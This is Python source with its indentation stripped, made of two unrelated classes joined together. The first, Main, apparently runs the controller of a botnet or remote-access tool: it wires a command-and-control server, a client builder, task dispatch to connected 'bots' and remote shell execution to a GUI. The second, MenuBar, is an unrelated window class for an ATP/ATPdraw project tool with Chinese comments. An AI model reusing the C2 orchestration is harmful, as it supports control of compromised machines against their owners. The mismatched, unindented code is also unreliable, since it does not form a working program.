class Main(QObject):
def __init__(self, args):
super(Main, self).__init__(None)
self.logger = logging.getLogger(self.__class__.__name__)
self.start_gui = not args.nogui
self.gui = None
self.builder = ClientBuilder()
self.gui_server = GUIServer()
self.c2server = C2Server()
self.config_manager = ConfigManager()
if args.reset:
self.config_manager.delete_config()
if args.remote:
self.gui = MainWindow()
self.gui.setup_connect_dialog()
else:
config = self.config_manager.load()
if config:
self.read_config_file(config)
else:
self.start_first_setup()
@Slot()
def start_first_setup(self):
"""Start GUI server with no config file."""
gui_ip, gui_port, gui_key = self.gui_server.start_setup()
self.gui_server.save_config.connect(self.config_manager.save)
self.gui_server.get_config.connect(self.config_manager.get)
self.gui_server.setup_options.connect(self.config_manager.on_gui_server_get_setup_options)
self.gui_server.connected.connect(self.gui_server.on_connected_no_config)
self.gui_server.close_app.connect(self.exit)
self.config_manager.config_error.connect(self.gui_server.on_config_error)
self.config_manager.config_saved.connect(self.gui_server.on_config_saved)
self.config_manager.config_get.connect(self.gui_server.on_config_get)
self.config_manager.validation_error.connect(self.gui_server.on_config_validation_error)
self.config_manager.setup_options.connect(self.gui_server.on_setup_options)
self.gui_server.start(gui_ip, gui_port, gui_key)
self.logger.info("To start remote first setup, connect to {}:{} using key: {}".format(gui_ip,
gui_port,
gui_key.decode()))
if self.start_gui:
self.gui = MainWindow(local=True)
self.gui.setup_cancelled.connect(self.exit)
self.gui.connect_to_gui_server(gui_ip, gui_port, gui_key.decode())
@Slot(dict)
def read_config_file(self, config: dict):
"""Start GUI and C2 server."""
self.logger.info("Configuration files found")
gui_ip, gui_port, gui_key = config.get("gui_ip"), config.get("gui_port"), config.get("gui_key").encode()
self.config_manager.config_get.connect(self.gui_server.on_config_get)
self.config_manager.available_tasks.connect(self.gui_server.on_get_tasks)
self.gui_server.get_config.connect(self.config_manager.get)
self.gui_server.close_app.connect(self.exit)
self.gui_server.stop_task.connect(self.c2server.stop_task)
self.gui_server.start_task.connect(self.c2server.send_task)
self.gui_server.get_tasks.connect(self.config_manager.on_gui_server_get_tasks)
self.gui_server.force_start_task.connect(self.c2server.force_start_task)
self.builder.build_error.connect(self.gui_server.on_build_error)
self.builder.build_stopped.connect(self.gui_server.on_build_stopped)
self.builder.build_options.connect(self.gui_server.on_build_options)
self.builder.build_finished.connect(self.gui_server.on_build_finished)
self.builder.generator_progress.connect(self.gui_server.on_generator_progress)
self.builder.generator_finished.connect(self.gui_server.on_generator_finished)
self.builder.generator_started.connect(self.gui_server.on_generator_started)
self.gui_server.build_options.connect(self.builder.get_options)
self.gui_server.build_stop.connect(self.builder.stop)
self.gui_server.build_start.connect(self.builder.start)
self.logger.info("Starting GUI server")
self.gui_server.start(gui_ip, gui_port, gui_key)
self.c2server.connected.connect(self.on_bot_connected)
self.c2server.disconnected.connect(self.gui_server.on_bot_disconnected)
self.c2server.task.connect(self.gui_server.on_bot_task)
self.c2server.info.connect(self.gui_server.on_bot_info)
self.c2server.log.connect(self.gui_server.on_bot_log)
self.c2server.shell_output.connect(self.gui_server.on_shell_output)
self.c2server.shell_error.connect(self.gui_server.on_shell_error)
self.gui_server.run_shell.connect(self.c2server.run_shell)
self.logger.info("Starting C2 server")
self.c2server.start(config.get("c2_ip"), config.get("c2_port"), config.get("c2_key").encode())
if self.start_gui:
self.gui = MainWindow(local=True)
self.gui.show()
self.gui.connect_to_gui_server(gui_ip, gui_port, gui_key)
@Slot(Bot, str, int)
def on_bot_connected(self, bot, ip, port):
"""Get basic informations from client."""
infos = self.config_manager.value("after_connection_infos")
self.c2server.send_info(bot, infos)
self.gui_server.on_bot_connected(bot, ip, port)
@Slot(Signal)
def connect_log_signal(self, signal):
signal.connect(self.gui_server.on_log_signal)
@Slot()
def close(self):
"""Gracefully close server and GUI"""
self.logger.info("Closing application...")
if self.c2server:
self.c2server.close()
self.c2server.wait()
if self.gui_server:
self.gui_server.close()
self.gui_server.wait()
if self.gui:
self.gui.close()
@Slot()
def exit(self):
self.close()
QApplication.instance().exit()
class MenuBar(QMainWindow, Ui_ATPMainWindow):
def __init__(self, filePath):
# 窗体创建
super(MenuBar, self).__init__()
self.setupUi(self)
self.mainWindow = None
self.ADP_filePath = filePath
work_area = win32api.GetMonitorInfo(win32api.MonitorFromPoint(
(0, 0))).get("Work")
self.monitor_width = work_area[2] - 20
self.monitor_height = work_area[3]
# self.setGeometry(0, 0, self.monitor_width, 25)
self.resize(self.monitor_width, 25)
self.move(0, 0)
# mainWindow是否被打开
self.is_mainWindow_showed = False
# 菜单栏事件
self.actionupdateATP.triggered.connect(self.updateATP)
self.actionrunATP.triggered.connect(self.runATP)
self.actionloadADP.triggered.connect(self.load_new_project)
def load_new_project(self):
file = QFileDialog.getOpenFileName(self, "选取项目文件", '',
'ADP or ACP Files(*.adp *.acp)')
if not file:
return
path = str(file[0])
# 选中后
if path:
# 处理存储最近项目的txt文件
item_list = RecentItemRW.read_recent_items()
count = len(item_list)
if count == 0:
item_list.append(path)
else:
if item_list[count - 1] != path:
if count == 6:
del item_list[0]
item_list.append(path)
button = QMessageBox.question(
self, "Question", self.tr("是否打开新项目替代当前项目（选择Cancel新建窗口)"),
QMessageBox.Ok | QMessageBox.Cancel, QMessageBox.Ok)
if button == QMessageBox.Ok:
# 接口 刷新当前界面
self.mainWindow.loadProject(path)
# 调整ATPdraw大小
self.showATPdraw()
elif button == QMessageBox.Cancel:
self.newItem_menuBar = MenuBar(path)
self.newItem_menuBar.show()
self.newItem_menuBar.showMainWindow()
self.newItem_menuBar.showATPdraw()
# 调用mainwindow的runAtp函数
def runATP(self):
if self.mainWindow:
self.mainWindow.on_atp_run_clicked()
# 调用mainwindow的updateAtp函数
def updateATP(self):
if self.mainWindow:
self.mainWindow.on_atp_update_clicked()
def showMainWindow(self):
if not self.is_mainWindow_showed and self.ADP_filePath:
self.mainWindow = MainWindow(self.ADP_filePath)
leftEdge = self.monitor_width - 640
topEdge = self.frameGeometry().y() + self.frameGeometry().height()
width = 640
height = self.monitor_height - self.geometry().height() - 45
self.mainWindow.setGeometry(leftEdge, topEdge, width, height)
self.mainWindow.setWindowFlags(Qt.FramelessWindowHint)
self.mainWindow.show()
self.is_mainWindow_showed = True
def showATPdraw(self):
topEdge = int(self.geometry().y() + self.geometry().height() + 5) + 4
leftEdge = 0
width = int(self.monitor_width - 640)
height = int(self.monitor_height - self.geometry().height() - 45)
# 需要一个接口来控制atpdraw的位置大小
self.mainWindow.modify_ATPDRaw_size(leftEdge, topEdge, width, height)
def closeEvent(self, *args, **kwargs):
if self.is_mainWindow_showed:
self.mainWindow.close()
self.close()
